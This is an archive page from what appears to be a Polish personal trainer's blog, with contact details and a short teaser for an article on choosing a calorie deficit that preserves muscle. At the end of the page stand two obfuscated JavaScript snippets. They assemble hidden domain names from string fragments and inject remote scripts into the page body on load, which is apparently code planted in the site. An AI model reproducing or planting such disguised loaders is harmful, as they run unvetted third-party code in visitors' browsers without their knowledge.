kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 3 lipca, 2025

Kategorie:

Optymalny deficyt kaloryczny

Optymalny deficyt kaloryczny: Ile kalorii ucinać, by tracić tłuszcz, a nie mięśnie?

3 lipca, 2025

Masz dość odchudzania, które kończy się frustracją i powrotem do starej wagi? Problem nie leży w Twojej motywacji, ale w strategii. Zbyt duży deficyt kaloryczny niszczy Twój metabolizm i pali mięśnie zamiast tłuszczu.

W tym artykule znajdziesz konkretny plan działania: od obliczenia idealnej dla Ciebie liczby kalorii, przez kluczową rolę białka, po strategię treningową, która ochroni Twoje mięśnie. Zmień swoje podejście i zobacz trwałe efekty.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();